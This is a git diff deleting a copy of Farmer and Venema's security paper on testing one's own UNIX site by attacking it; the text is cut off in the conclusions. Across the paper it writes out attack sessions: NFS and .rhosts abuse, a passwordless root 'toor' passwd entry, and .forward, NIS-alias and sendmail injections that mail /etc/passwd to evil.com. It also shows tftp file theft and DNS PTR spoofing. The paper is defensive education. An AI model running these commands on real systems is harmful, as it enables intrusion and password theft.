From 9ae993b3ab0f834e64e80a9592fefd0e911b286a Mon Sep 17 00:00:00 2001 From: mjfernez Date: Wed, 12 Jul 2023 00:19:43 -0400 Subject: Removed md directories and moved files That was confusing --- .../txt/textfiles.com/break_into_your_site.txt | 1120 -------------------- 1 file changed, 1120 deletions(-) delete mode 100644 .md/thoughts/txt/textfiles.com/break_into_your_site.txt (limited to '.md/thoughts/txt/textfiles.com/break_into_your_site.txt') diff --git a/.md/thoughts/txt/textfiles.com/break_into_your_site.txt b/.md/thoughts/txt/textfiles.com/break_into_your_site.txt deleted file mode 100644 index 653e686..0000000 --- a/.md/thoughts/txt/textfiles.com/break_into_your_site.txt +++ /dev/null @@ -1,1120 +0,0 @@ - -_Improving the Security of Your Site by Breaking Into it_ - - - Dan Farmer Wietse Venema - - Sun Microsystems Eindhoven University of Technology - 2550 garcia ave MS PAL1-407 P.O. Box 513, 5600 MB - Mountain View CA 94043 Eindhoven, NL - - zen@sun.com wietse@wzv.win.tue.nl - - -Introduction ------------- - -Every day, all over the world, computer networks and hosts are being -broken into. The level of sophistication of these attacks varies -widely; while it is generally believed that most break-ins succeed due -to weak passwords, there are still a large number of intrusions that use -more advanced techniques to break in. Less is known about the latter -types of break-ins, because by their very nature they are much harder to -detect. - ------ - -CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. -Purdue. Sun. You name it, we've seen it broken into. Anything that is -on the Internet (and many that isn't) seems to be fairly easy game. Are -these targets unusual? What happened? - -Fade to... - -A young boy, with greasy blonde hair, sitting in a dark room. The room -is illuminated only by the luminescense of the C64's 40 character -screen. Taking another long drag from his Benson and Hedges cigarette, -the weary system cracker telnets to the next faceless ".mil" site on his -hit list. "guest -- guest", "root -- root", and "system -- manager" all -fail. No matter. He has all night... he pencils the host off of his -list, and tiredly types in the next potential victim... - -This seems to be the popular image of a system cracker. Young, -inexperienced, and possessing vast quantities of time to waste, to get -into just one more system. However, there is a far more dangerous type -of system cracker out there. One who knows the ins and outs of the -latest security auditing and cracking tools, who can modify them for -specific attacks, and who can write his/her own programs. One who not -only reads about the latest security holes, but also personally -discovers bugs and vulnerabilities. A deadly creature that can both -strike poisonously and hide its tracks without a whisper or hint of a -trail. The uebercracker is here. - ------ - -Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's -uebermensch, or, literally translated into English, "over man." -Nietzsche used the term not to refer to a comic book superman, but -instead a man who had gone beyond the incompetence, pettiness, and -weakness of the everyday man. The uebercracker is therefore the system -cracker who has gone beyond simple cookbook methods of breaking into -systems. An uebercracker is not usually motivated to perform random -acts of violence. Targets are not arbitrary -- there is a purpose, -whether it be personal monetary gain, a hit and run raid for -information, or a challenge to strike a major or prestigious site or -net.personality. An uebercracker is hard to detect, harder to stop, and -hardest to keep out of your site for good. - -Overview --------- - -In this paper we will take an unusual approach to system security. -Instead of merely saying that something is a problem, we will look -through the eyes of a potential intruder, and show _why_ it is one. We -will illustrate that even seemingly harmless network services can become -valuable tools in the search for weak points of a system, even when -these services are operating exactly as they are intended to. - -In an effort to shed some light on how more advanced intrusions occur, -this paper outlines various mechanisms that crackers have actually used -to obtain access to systems and, in addition, some techniques we either -suspect intruders of using, or that we have used ourselves in tests or -in friendly/authorized environments. - -Our motivation for writing this paper is that system administrators are -often unaware of the dangers presented by anything beyond the most -trivial attacks. While it is widely known that the proper level of -protection depends on what has to be protected, many sites appear to -lack the resources to assess what level of host and network security is -adequate. By showing what intruders can do to gain access to a remote -site, we are trying to help system administrators to make _informed_ -decisions on how to secure their site -- or not. We will limit the -discussion to techniques that can give a remote intruder access to a -(possibly non-interactive) shell process on a UNIX host. Once this is -achieved, the details of obtaining root privilege are beyond the scope -of this work -- we consider them too site-dependent and, in many cases, -too trivial to merit much discussion. - -We want to stress that we will not merely run down a list of bugs or -security holes -- there will always be new ones for a potential attacker -to exploit. The purpose of this paper is to try to get the reader to -look at her or his system in a new way -- one that will hopefully afford -him or her the opportunity to _understand_ how their system can be -compromised, and how. - -We would also like to reiterate to the reader that the purpose of this -paper is to show you how to test the security of your own site, not how -to break into other people's systems. The intrusion techniques we -illustrate here will often leave traces in your system auditing logs -- -it might be constructive to examine them after trying some of these -attacks out, to see what a real attack might look like. Certainly other -sites and system administrators will take a very dim view of your -activities if you decide to use their hosts for security testing without -advance authorization; indeed, it is quite possible that legal action -may be pursued against you if they perceive it as an attack. - -There are four main parts to the paper. The first part is the -introduction and overview. The second part attempts to give the reader -a feel for what it is like to be an intruder and how to go from knowing -nothing about a system to compromising its security. This section goes -over actual techniques to gain information and entrance and covers basic -strategies such as exploiting trust and abusing improperly configured -basic network services (ftp, mail, tftp, etc.) It also discusses -slightly more advanced topics, such as NIS and NFS, as well as various -common bugs and configuration problems that are somewhat more OS or -system specific. Defensive strategies against each of the various -attacks are also covered here. - -The third section deals with trust: how the security of one system -depends on the integrity of other systems. Trust is the most complex -subject in this paper, and for the sake of brevity we will limit the -discussion to clients in disguise. - -The fourth section covers the basic steps that a system administrator -may take to protect her or his system. Most of the methods presented -here are merely common sense, but they are often ignored in practice -- -one of our goals is to show just how dangerous it can be to ignore basic -security practices. - -Case studies, pointers to security-related information, and software are -described in the appendices at the end of the paper. - -While exploring the methods and strategies discussed in this paper we we -wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in -shell, perl, expect and C, it examines a remote host or set of hosts and -gathers as much information as possible by remotely probing NIS, finger, -NFS, ftp and tftp, rexd, and other services. This information includes -the presence of various network information services as well as -potential security flaws -- usually in the form of incorrectly setup or -configured network services, well-known bugs in system or network -utilities, or poor or ignorant policy decisions. It then can either -report on this data or use an expert system to further investigate any -potential security problems. While SATAN doesn't use all of the methods -that we discuss in the paper, it has succeeded with ominous regularity -in finding serious holes in the security of Internet sites. It will be -posted and made available via anonymous ftp when completed; Appendix A -covers its salient features. - -Note that it isn't possible to cover all possible methods of breaking -into systems in a single paper. Indeed, we won't cover two of the most -effective methods of breaking into hosts: social engineering and -password cracking. The latter method is so effective, however, that -several of the strategies presented here are geared towards acquiring -password files. In addition, while windowing systems (X, OpenWindows, -etc.) can provide a fertile ground for exploitation, we simply don't -know many methods that are used to break into remote systems. Many -system crackers use non-bitmapped terminals which can prevent them from -using some of the more interesting methods to exploit windowing systems -effectively (although being able to monitor the victim's keyboard is -often sufficient to capture passwords). Finally, while worms, viruses, -trojan horses, and other malware are very interesting, they are not -common (on UNIX systems) and probably will use similar techniques to the -ones we describe in this paper as individual parts to their attack -strategy. - -Gaining Information -------------------- - -Let us assume that you are the head system administrator of Victim -Incorporated's network of UNIX workstations. In an effort to secure -your machines, you ask a friendly system administrator from a nearby -site (evil.com) to give you an account on one of her machines so that -you can look at your own system's security from the outside. - -What should you do? First, try to gather information about your -(target) host. There is a wealth of network services to look at: -finger, showmount, and rpcinfo are good starting points. But don't stop -there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, -and as many other services as you can find. There are so many methods -and techniques that space precludes us from showing all of them, but we -will try to show a cross-section of the most common and/or dangerous -strategies that we have seen or have thought of. Ideally, you would -gather such information about all hosts on the subnet or area of attack --- information is power -- but for now we'll examine only our intended -target. - -To start out, you look at what the ubiquitous finger command shows you -(assume it is 6pm, Nov 6, 1993): - - victim % finger @victim.com - [victim.com] - Login Name TTY Idle When Where - zen Dr. Fubar co 1d Wed 08:00 death.com - -Good! A single idle user -- it is likely that no one will notice if you -actually manage to break in. - -Now you try more tactics. As every finger devotee knows, fingering "@", -"0", and "", as well as common names, such as root, bin, ftp, system, -guest, demo, manager, etc., can reveal interesting information. What -that information is depends on the version of finger that your target is -running, but the most notable are account names, along with their home -directories and the host that they last logged in from. - -To add to this information, you can use rusers (in particular with the --l flag) to get useful information on logged-in users. - -Trying these commands on victim.com reveals the following information, -presented in a compressed tabular form to save space: - - Login Home-dir Shell Last login, from where - ----- -------- ----- ---------------------- - root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com - bin /bin Never logged in - nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co - daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com - sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com - zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com - sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com - guest /export/foo /bin/sh Never logged in - ftp /home/ftp Never logged in - -Both our experiments with SATAN and watching system crackers at work -have proved to us that finger is one of the most dangerous services, -because it is so useful for investigating a potential target. However, -much of this information is useful only when used in conjunction with -other data. - -For instance, running showmount on your target reveals: - - evil % showmount -e victim.com - export list for victim.com: - /export (everyone) - /var (everyone) - /usr easy - /export/exec/kvm/sun4c.sunos.4.1.3 easy - /export/root/easy easy - /export/swap/easy easy - -Note that /export/foo is exported to the world; also note that this is -user guest's home directory. Time for your first break-in! In this -case, you'll mount the home directory of user "guest." Since you don't -have a corresponding account on the local machine and since root cannot -modify files on an NFS mounted filesystem, you create a "guest" account -in your local password file. As user guest you can put an .rhosts entry -in the remote guest home directory, which will allow you to login to the -target machine without having to supply a password. - - evil # mount victim.com:/export/foo /foo - evil # cd /foo - evil # ls -lag - total 3 - 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . - 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. - 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest - evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd - evil # ls -lag - total 3 - 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . - 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. - 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest - evil # su guest - evil % echo evil.com >> guest/.rhosts - evil % rlogin victim.com - Welcome to victim.com! - victim % - -If, instead of home directories, victim.com were exporting filesystems -with user commands (say, /usr or /usr/local/bin), you could replace a -command with a trojan horse that executes any command of your choice. -The next user to execute that command would execute your program. - -We suggest that filesystems be exported: - -o Read/write only to specific, trusted clients. -o Read-only, where possible (data or programs can often be - exported in this manner.) - -If the target has a "+" wildcard in its /etc/hosts.equiv (the default in -various vendor's machines) or has the netgroups bug (CERT advisory -91:12), any non-root user with a login name in the target's password -file can rlogin to the target without a password. And since the user -"bin" often owns key files and directories, your next attack is to try -to log in to the target host and modify the password file to let you -have root access: - - evil % whoami - bin - evil % rsh victim.com csh -i - Warning: no access to tty; thus no job control in this shell... - victim % ls -ldg /etc - drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc - victim % cd /etc - victim % mv passwd pw.old - victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd - victim % ^D - evil % rlogin victim.com -l toor - Welcome to victim.com! - victim # - -A few notes about the method used above; "rsh victim.com csh -i" is used -to initially get onto the system because it doesn't leave any traces in -the wtmp or utmp system auditing files, making the rsh invisible for -finger and who. The remote shell isn't attached to a pseudo-terminal, -however, so that screen-oriented programs such as pagers and editors -will fail -- but it is very handy for brief exploration. - -The COPS security auditing tool (see appendix D) will report key files -or directories that are writable to accounts other than the -superuser. If you run SunOS 4.x you can apply patch 100103 to fix most -file permission problems. On many systems, rsh probes as shown above, -even when successful, would remain completely unnoticed; the tcp wrapper -(appendix D), which logs incoming connections, can help to expose such -activities. - ----- - -What now? Have you uncovered all the holes on your target system? Not -by a long shot. Going back to the finger results on your target, you -notice that it has an "ftp" account, which usually means that anonymous -ftp is enabled. Anonymous ftp can be an easy way to get access, as it -is often misconfigured. For example, the target may have a complete -copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory -instead of a stripped down version. In this example, though, you see -that the latter doesn't seem to be true (how can you tell without -actually examining the file?) However, the home directory of ftp on -victim.com is writable. This allows you to remotely execute a command --- in this case, mailing the password file back to yourself -- by the -simple method of creating a .forward file that executes a command when -mail is sent to the ftp account. This is the same mechanism of piping -mail to a program that the "vacation" program uses to automatically -reply to mail messages. - - evil % cat forward_sucker_file - "|/bin/mail zen@evil.com < /etc/passwd" - - evil % ftp victim.com - Connected to victim.com - 220 victim FTP server ready. - Name (victim.com:zen): ftp - 331 Guest login ok, send ident as password. - Password: - 230 Guest login ok, access restrictions apply. - ftp> ls -lga - 200 PORT command successful. - 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). - total 5 - drwxr-xr-x 4 101 1 512 Jun 20 1991 . - drwxr-xr-x 4 101 1 512 Jun 20 1991 .. - drwxr-xr-x 2 0 1 512 Jun 20 1991 bin - drwxr-xr-x 2 0 1 512 Jun 20 1991 etc - drwxr-xr-x 3 101 1 512 Aug 22 1991 pub - 226 ASCII Transfer complete. - 242 bytes received in 0.066 seconds (3.6 Kbytes/s) - ftp> put forward_sucker_file .forward - 43 bytes sent in 0.0015 seconds (28 Kbytes/s) - ftp> quit - evil % echo test | mail ftp@victim.com - -Now you simply wait for the password file to be sent back to you. - -The security auditing tool COPS will check your anonymous ftp setup; see -the man page for ftpd, the documentation/code for COPS, or CERT advisory -93:10 for information on how to set up anonymous ftp correctly. -Vulnerabilities in ftp are often a matter of incorrect ownership or -permissions of key files or directories. At the very least, make sure -that ~ftp and all "system" directories and files below ~ftp are owned by -root and are not writable by any user. - -While looking at ftp, you can check for an older bug that was once -widely exploited: - - % ftp -n - ftp> open victim.com - Connected to victim.com - 220 victim.com FTP server ready. - ftp> quote user ftp - 331 Guest login ok, send ident as password. - ftp> quote cwd ~root - 530 Please login with USER and PASS. - ftp> quote pass ftp - 230 Guest login ok, access restrictions apply. - ftp> ls -al / (or whatever) - -If this works, you now are logged in as root, and able to modify the -password file, or whatever you desire. If your system exhibits this -bug, you should definitely get an update to your ftpd daemon, either -from your vendor or (via anon ftp) from ftp.uu.net. - -The wuarchive ftpd, a popular replacement ftp daemon put out by the -Washington University in Saint Louis, had almost the same problem. If -your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a -more recent version. - -Finally, there is a program vaguely similar to ftp -- tftp, or the -trivial file transfer program. This daemon doesn't require any password -for authentication; if a host provides tftp without restricting the -access (usually via some secure flag set in the inetd.conf file), an -attacker can read and write files anywhere on the system. In the -example, you get the remote password file and place it in your local -/tmp directory: - - evil % tftp - tftp> connect victim.com - tftp> get /etc/passwd /tmp/passwd.victim - tftp> quit - -For security's sake, tftp should not be run; if tftp is necessary, use -the secure option/flag to restrict access to a directory that has no -valuable information, or run it under the control of a chroot wrapper -program. - ----- - -If none of the previous methods have worked, it is time to go on to more -drastic measures. You have a friend in rpcinfo, another very handy -program, sometimes even more useful than finger. Many hosts run RPC -services that can be exploited; rpcinfo can talk to the portmapper and -show you the way. It can tell you if the host is running NIS, if it is -a NIS server or slave, if a diskless workstation is around, if it is -running NFS, any of the info services (rusersd, rstatd, etc.), or any -other unusual programs (auditing or security related). For instance, -going back to our sample target: - - evil % rpcinfo -p victim.com [output trimmed for brevity's sake] - program vers proto port - 100004 2 tcp 673 ypserv - 100005 1 udp 721 mountd - 100003 2 udp 2049 nfs - 100026 1 udp 733 bootparam - 100017 1 tcp 1274 rexd - -In this case, you can see several significant facts about our target; -first of which is that it is an NIS server. It is perhaps not widely -known, but once you know the NIS domainname of a server, you can get any -of its NIS maps by a simple rpc query, even when you are outside the -subnet served by the NIS server (for example, using the YPX program that -can be found in the comp.sources.misc archives on ftp.uu.net). In -addition, very much like easily guessed passwords, many systems use -easily guessed NIS domainnames. Trying to guess the NIS domainname is -often very fruitful. Good candidates are the fully and partially -qualified hostname (e.g. "victim" and "victim.com"), the organization -name, netgroup names in "showmount" output, and so on. If you wanted to -guess that the domainname was "victim", you could type: - - evil % ypwhich -d victim victim.com - Domain victim not bound. - -This was an unsuccessful attempt; if you had guessed correctly it would -have returned with the host name of victim.com's NIS server. However, -note from the NFS section that victim.com is exporting the "/var" -directory to the world. All that is needed is to mount this directory -and look in the "yp" subdirectory -- among other things you will see -another subdirectory that contains the domainname of the target. - - evil # mount victim.com:/var /foo - evil # cd /foo - evil # /bin/ls -alg /foo/yp - total 17 - 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . - 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. - 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile - 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding - 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar - [...] - -In this case, "foo_bar" is the NIS domain name. - -In addition, the NIS maps often contain a good list of user/employee -names as well as internal host lists, not to mention passwords for -cracking. - -Appendix C details the results of a case study on NIS password files. - ----- - -You note that the rpcinfo output also showed that victim.com runs rexd. -Like the rsh daemon, rexd processes requests of the form "please execute -this command as that user". Unlike rshd, however, rexd does not care if -the client host is in the hosts.equiv or .rhost files. Normally the rexd -client program is the "on" command, but it only takes a short C program -to send arbitrary client host and userid information to the rexd server; -rexd will happily execute the command. For these reasons, running rexd -is similar to having no passwords at all: all security is in the client, -not in the server where it should be. Rexd security can be improved -somewhat by using secure RPC. - ----- - -While looking at the output from rpcinfo, you observe that victim.com -also seems to be a server for diskless workstations. This is evidenced -by the presence of the bootparam service, which provides information to -the diskless clients for booting. If you ask nicely, using -BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get -its NIS domainname. This can be very useful when combined with the fact -that you can get arbitrary NIS maps (such as the password file) when you -know the NIS domainname. Here is a sample code snippet to do just that -(bootparam is part of SATAN.) - - char *server; - struct bp_whoami_arg arg; /* query */ - struct bp_whoami_res res; /* reply */ - - /* initializations omitted... */ - - callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, - xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); - - printf("%s has nisdomain %s\n", server, res.domain_name); - -The showmount output indicated that "easy" is a diskless client of -victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI -query: - - evil % bootparam victim.com easy.victim.com - victim.com has nisdomain foo_bar - ----- - -NIS masters control the mail aliases for the NIS domain in question. -Just like local mail alias files, you can create a mail alias that will -execute commands when mail is sent to it (a once popular example of this -is the "decode" alias which uudecodes mail files sent to it.) For -instance, here you create an alias "foo", which mails the password file -back to evil.com by simply mailing any message to it: - - nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases - nis-master # cd /var/yp - nis-master # make aliases - nis-master # echo test | mail -v foo@victim.com - -Hopefully attackers won't have control of your NIS master host, but even -more hopefully the lesson is clear -- NIS is normally insecure, but if -an attacker has control of your NIS master, then s/he effectively has -control of the client hosts (e.g. can execute arbitrary commands). - -There aren't many effective defenses against NIS attacks; it is an -insecure service that has almost no authentication between clients and -servers. To make things worse, it seems fairly clear that arbitrary -maps can be forced onto even master servers (e.g., it is possible to -treat an NIS server as a client). This, obviously, would subvert the -entire schema. If it is absolutely necessary to use NIS, choosing a -hard to guess domainname can help slightly, but if you run diskless -clients that are exposed to potential attackers then it is trivial for -an attacker to defeat this simple step by using the bootparam trick to -get the domainname. If NIS is used to propagate the password maps, then -shadow passwords do not give additional protection because the shadow -map is still accessible to any attacker that has root on an attacking -host. Better is to use NIS as little as possible, or to at least -realize that the maps can be subject to perusal by potentially hostile -forces. - -Secure RPC goes a long way to diminish the threat, but it has its own -problems, primarily in that it is difficult to administer, but also in -that the cryptographic methods used within are not very strong. It has -been rumored that NIS+, Sun's new network information service, fixes -some of these problems, but until now it has been limited to running on -Suns, and thus far has not lived up to the promise of the design. -Finally, using packet filtering (at the very least port 111) or -securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 -all can help. - ----- - -The portmapper only knows about RPC services. Other network services -can be located with a brute-force method that connects to all network -ports. Many network utilities and windowing systems listen to specific -ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is -usually on port 6000, etc.) SATAN includes a program that scans the -ports of a remote hosts and reports on its findings; if you run it -against our target, you see: - - evil % tcpmap victim.com - Mapping 128.128.128.1 - port 21: ftp - port 23: telnet - port 25: smtp - port 37: time - port 79: finger - port 512: exec - port 513: login - port 514: shell - port 515: printer - port 6000: (X) - -This suggests that victim.com is running X windows. If not protected -properly (via the magic cookie or xhost mechanisms), window displays can -be captured or watched, user keystrokes may be stolen, programs executed -remotely, etc. Also, if the target is running X and accepts a telnet to -port 6000, that can be used for a denial of service attack, as the -target's windowing system will often "freeze up" for a short period of -time. One method to determine the vulnerability of an X server is to -connect to it via the XOpenDisplay() function; if the function returns -NULL then you cannot access the victim's display (opendisplay is part of -SATAN): - - char *hostname; - - if (XOpenDisplay(hostname) == NULL) { - printf("Cannot open display: %s\n", hostname); - } else { - printf("Can open display: %s\n", hostname); - } - - evil % opendisplay victim.com:0 - Cannot open display: victim.com:0 - -X terminals, though much less powerful than a complete UNIX system, can -have their own security problems. Many X terminals permit unrestricted -rsh access, allowing you to start X client programs in the victim's -terminal with the output appearing on your own screen: - - evil % xhost +xvictim.victim.com - evil % rsh xvictim.victim.com telnet victim.com -display evil.com - -In any case, give as much thought to your window security as your -filesystem and network utilities, for it can compromise your system as -surely as a "+" in your hosts.equiv or a passwordless (root) account. - ----- - -Next, you examine sendmail. Sendmail is a very complex program that has -a long history of security problems, including the infamous "wiz" -command (hopefully long since disabled on all machines). You can often -determine the OS, sometimes down to the version number, of the target, -by looking at the version number returned by sendmail. This, in turn, -can give you hints as to how vulnerable it might be to any of the -numerous bugs. In addition, you can see if they run the "decode" alias, -which has its own set of problems: - - evil % telnet victim.com 25 - connecting to host victim.com (128.128.128.1.), port 25 - connection open - 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT - expn decode - 250 <"|/usr/bin/uudecode"> - quit - -Running the "decode" alias is a security risk -- it allows potential -attackers to overwrite any file that is writable by the owner of that -alias -- often daemon, but potentially any user. Consider this piece of -mail -- this will place "evil.com" in user zen's .rhosts file if it is -writable: - - evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com - -If no home directories are known or writable, an interesting variation -of this is to create a bogus /etc/aliases.pag file that contains an -alias with a command you wish to execute on your target. This may work -since on many systems the aliases.pag and aliases.dir files, which -control the system's mail aliases, are writable to the world. - - evil % cat decode - bin: "| cat /etc/passwd | mail zen@evil.com" - evil % newaliases -oQ/tmp -oA`pwd`/decode - evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com - evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null - -A lot of things can be found out by just asking sendmail if an address -is acceptable (vrfy), or what an address expands to (expn). When the -finger or rusers services are turned off, vrfy and expn can still be -used to identify user accounts or targets. Vrfy and expn can also be -used to find out if the user is piping mail through any program that -might be exploited (e.g. vacation, mail sorters, etc.). It can be a -good idea to disable the vrfy and expn commands: in most versions, look -at the source file srvrsmtp.c, and either delete or change the two lines -in the CmdTab structure that have the strings "vrfy" and "expn". Sites -without source can still disable expn and vrfy by just editing the -sendmail executable with a binary editor and replacing "vrfy" and "expn" -with blanks. Acquiring a recent version of sendmail (see Appendix D) is -also an extremely good idea, since there have probably been more -security bugs reported in sendmail than in any other UNIX program. - ----- - -As a sendmail-sendoff, there are two fairly well known bugs that should -be checked into. The first was definitely fixed in version 5.59 from -Berkeley; despite the messages below, for versions of sendmail previous -to 5.59, the "evil.com" gets appended, despite the error messages, along -with all of the typical mail headers, to the file specified: - - % cat evil_sendmail - telnet victim.com 25 << EOSM - rcpt to: /home/zen/.rhosts - mail from: zen - data - random garbage - . - rcpt to: /home/zen/.rhosts - mail from: zen - data - evil.com - . - quit - EOSM - - evil % /bin/sh evil_sendmail - Trying 128.128.128.1 - Connected to victim.com - Escape character is '^]'. - Connection closed by foreign host. - - evil % rlogin victim.com -l zen - Welcome to victim.com! - victim % - -The second hole, fixed only recently, permitted anyone to specify -arbitrary shell commands and/or pathnames for the sender and/or -destination address. Attempts to keep details secret were in vain, and -extensive discussions in mailing lists and usenet news groups led to -disclosure of how to exploit some versions of the bug. As with many -UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, -since they all share a common source code tree ancestry. Space -precludes us from discussing it fully, but a typical attack to get the -password file might look like this: - - evil % telnet victim.com 25 - Trying 128.128.128.1... - Connected to victim.com - Escape character is '^]'. - 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 - mail from: "|/bin/mail zen@evil.com < /etc/passwd" - 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok - rcpt to: nosuchuser - 550 nosuchuser... User unknown - data - 354 Enter mail, end with "." on a line by itself - . - 250 Mail accepted - quit - Connection closed by foreign host. - evil % - -At the time of writing, version 8.6.4 of sendmail (see Appendix D for -information on how to get this) is reportedly the only variant of -sendmail with all of the recent security bugs fixed. - -Trust ------ - -For our final topic of vulnerability, we'll digress from the practical -strategy we've followed previously to go a bit more into the theoretical -side, and briefly discuss the notion of trust. The issues and -implications of vulnerabilities here are a bit more subtle and -far-reaching than what we've covered before; in the context of this -paper we use the word trust whenever there is a situation when a server -(note that any host that allows remote access can be called a server) -can permit a local resource to be used by a client without password -authentication when password authentication is normally required. In -other words, we arbitrarily limit the discussion to clients in disguise. - -There are many ways that a host can trust: .rhosts and hosts.equiv files -that allow access without password verification; window servers that -allow remote systems to use and abuse privileges; export files that -control access via NFS, and more. - -Nearly all of these rely on client IP address to hostname conversion to -determine whether or not service is to be granted. The simplest method -uses the /etc/hosts file for a direct lookup. However, today most hosts -use either DNS (the Domain Name Service), NIS, or both for name lookup -service. A reverse lookup occurs when a server has an IP address (from -a client host connecting to it) and wishes to get the corresponding -client hostname. - -Although the concept of how host trust works is well understood by most -system administrators, the _dangers_ of trust, and the _practical_ -problem it represents, irrespective of hostname impersonation, is one of -the least understood problems we know of on the Internet. This goes far -beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing -systems -- indeed, much of the useful services in UNIX are based on the -concept that well known (to an administrator or user) sites are trusted -in some way. What is not understood is how networking so tightly binds -security between what are normally considered disjoint hosts. - -Any form of trust can be spoofed, fooled, or subverted, especially when -the authority that gets queried to check the credentials of the client -is either outside of the server's administrative domain, or when the -trust mechanism is based on something that has a weak form of -authentication; both are usually the case. - -Obviously, if the host containing the database (either NIS, DNS, or -whatever) has been compromised, the intruder can convince the target -host that s/he is coming from any trusted host; it is now sufficient to -find out which hosts are trusted by the target. This task is often -greatly helped by examining where system administrators and system -accounts (such as root, etc.) last logged in from. Going back to our -target, victim.com, you note that root and some other system accounts -logged in from big.victim.com. You change the PTR record for evil.com so -that when you attempt to rlogin in from evil.com to victim.com, -victim.com will attempt to look up your hostname and will find what you -placed in the record. If the record in the DNS database looks like: - - 1.192.192.192.in-addr.arpa IN PTR evil.com - -And you change it to: - - 1.192.192.192.in-addr.arpa IN PTR big.victim.com - -then, depending on how naive victim.com's system software is, victim.com -will believe the login comes from big.victim.com, and, assuming that -big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be -able to login without supplying a password. With NIS, it is a simple -matter of either editing the host database on the NIS master (if this is -controlled by the intruder) or of spoofing or forcing NIS (see -discussion on NIS security above) to supply the target with whatever -information you desire. Although more complex, interesting, and -damaging attacks can be mounted via DNS, time and space don't allow -coverage of these methods here. - -Two methods can be used to prevent such attacks. The first is the most -direct, but perhaps the most impractical. If your site doesn't use any -trust, you won't be as vulnerable to host spoofing. The other strategy -is to use cryptographic protocols. Using the secure RPC protocol (used -in secure NFS, NIS+, etc.) is one method; although it has been "broken" -cryptographically, it still provides better assurance than RPC -authentication schemes that do not use any form of encryption. Other -solutions, both hardware (smartcards) and software (Kerberos), are being -developed, but they are either incomplete or require changes to system -software. - -Appendix B details the results of an informal survey taken from a -variety of hosts on the Internet. - -Protecting the system ---------------------- - -It is our hope that we have demonstrated that even some of the most -seemingly innocuous services run can offer (sometimes unexpectedly) -ammunition to determined system crackers. But, of course, if security -were all that mattered, computers would never be turned on, let alone -hooked into a network with literally millions of potential intruders. -Rather than reiterating specific advice on what to switch on or off, we -instead offer some general suggestions: - -o If you cannot turn off the finger service, consider installing a -modified finger daemon. It is rarely necessary to reveal a user's home -directory and the source of last login. - -o Don't run NIS unless it's absolutely necessary. Use NFS as little -as possible. - -o Never export NFS filesystems unrestricted to the world. Try to -export file systems read-only where possible. - -o Fortify and protect servers (e.g. hosts that provide a service to -other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative -accounts on these hosts. - -o Examine carefully services offered by inetd and the portmapper. -Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd -wrappers, if for no other reason than to log the sources of connections -to your host. This adds immeasurably to the standard UNIX auditing -features, especially with respect to network attacks. If possible, use -the loghost mechanism of syslog to collect security-related information -on a secure host. - -o Eliminate trust unless there is an absolute need for it. Trust is -your enemy. - -o Use shadow passwords and a passwd command that disallows poor -passwords. Disable or delete unused/dormant system or user accounts. - -o Keep abreast of current literature (see our suggested reading list and -bibliography at the end of this paper) and security tools; communicate -to others about security problems and incidents. At minimum, subscribe -to the CERT mailing list and phrack magazine (plus the firewalls mailing -list, if your site is using or thinking about installing a firewall) and -read the usenet security newsgroups to get the latest information on -security problems. Ignorance is the deadliest security problem we are -aware of. - -o Install all vendor security patches as soon as possible, on all of -your hosts. Examine security patch information for other vendors - many -bugs (rdist, sendmail) are common to many UNIX variants. - -It is interesting to note that common solutions to security problems -such as running Kerberos or using one-time passwords or digital tokens -are ineffective against most of the attacks we discuss here. We -heartily recommend the use of such systems, but be aware that they are -_not_ a total security solution -- they are part of a larger struggle to -defend your system. - -Conclusions ------------ - -Perhaps none of the methods shown here are surprising; when writing this -paper, we didn't learn very much about how to break into systems. What -we _did_ learn was, while testing these methods out on our own systems -and that of friendly sites, just how effective this set of methods is -for gaining access to a typical (UNIX) Internet host. Tiring of trying -to type these in all by hand, and desiring to keep our own systems more -secure, we decided to implement a security tool (SATAN) that attempts to -check remote hosts for at least some of the problems discussed here. -The typical response, when telling people about our 